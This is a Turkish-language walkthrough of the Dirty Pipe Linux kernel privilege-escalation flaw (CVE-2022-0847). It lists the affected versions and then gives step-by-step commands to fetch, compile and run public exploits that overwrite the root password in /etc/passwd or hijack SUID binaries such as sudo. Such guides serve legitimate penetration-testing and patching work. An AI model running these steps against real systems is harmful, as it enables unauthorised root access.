Dirty Pipe Nedir?

Pipe, Linux'ta tek yönlü ve süreçler arası bir iletişim yöntemidir . Bir işlemin bir boru arabelleği kullanarak öncekinden girdi almasına izin verir.
Güvenlik Açığı Hakkında
- Dirty Pipe (CVE-2022-0847), Linux çekirdeğinde, ayrıcalığı olmayan bir kullanıcının aşağıdakileri yapmasına potansiyel olarak izin verebilecek yerel bir ayrıcalık yükseltme güvenlik açığıdır:
- /etc/passwd gibi rastgele salt okunur dosyaları değiştirin/üzerine yazın.
- Yükseltilmiş bir kabuk elde edin.
Etkilenen sürümler
- 5.8'den daha yeni Linux çekirdek sürümleri etkilenir.
- Şimdiye kadar güvenlik açığı aşağıdaki Linux çekirdek sürümlerinde düzeltildi:
- 5.16.11
- 5.15.25
- 5.10.102
Bir hedef sistemin savunmasız olup olmadığından emin değilseniz, @basharkey tarafından geliştirilen bu gerçekten harika bash betiğini kullanın.
- DirtyPipe Checker: https://github.com/basharkey/CVE-2022-0847-dirty-pipe-checker
- Betiği indirdikten sonra /tmp dizinininde çalıştırma izni verip kullanabilirsiniz.
Dirty Pipe Kullanımı
Aşağıdaki linkten dosyanın bağlantı linkini kopyalayalım.
https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits
Sunucuda /tmp dizinine gidelim.
cd /tmp
git clone, wget veya curl aracı kullanarak indirme işlemini gerçekleştirelim.
git https:/link
curl -LJO https:/link
wget --no-check-certificate --content-disposition https:/link
İndirdiğimiz zip dosyalarını çıkartalım.
unzip file
Her iki istismarın derlenmesini otomatikleştirmek için size otomatik bir derleyici bash betiği sağlanmıştır. İstismarı başarılı bir şekilde derlemek için GCC'nin kurulu olması gerekir.
compile.sh betiğini çalıştırma iznini verip , aşağıdaki gibi çalıştırabilirsiniz:
chmod +x compile.sh
./compile.sh
Exploit-1 - Salt okunur dosyaları değiştirme/üzerine yazma
Bu depo 2 istismar içerir, 'exploit-1.c' istismarı keyfi salt okunur dosyaları değiştirmek veya üzerine yazmak için kullanılabilir.
Bu istismar, Max Kellermann tarafından geliştirilen ve /etc/passwd dosyasındaki kök parolayı değiştirmek için değiştirilmiş, dolayısıyla size yükseltilmiş bir kabuğa erişim sağlayan bir kavram kanıtıdır.
Açıklardan yararlanma ikili dosyasını çalıştırma
Açıktan yararlanma kodu, kök parolayı "piped" parolasıyla değiştirmek üzere zaten yapılandırılmıştır ve /etc/passwd dosyasının /tmp/passwd.bak altındaki bir yedeğini alacaktır. Ayrıca, istismar size yükseltilmiş bir kök kabuğu da sağlayacak ve bittiğinde orijinal passwd dosyasını geri yükleyecektir.
./exploit-1
Exploit-2 - SUID ikili dosyalarını ele geçirme
Bu istismar, kök olarak çalışan salt okunur SUID işlem belleğindeki verileri enjekte etmek ve üzerine yazmak için kullanılabilir.
SUID ikili dosyalarını bulma
find / -perm -4000 2>/dev/null
Açıklardan yararlanma ikili dosyasını çalıştırma
./exploit-2 /usr/bin/sudo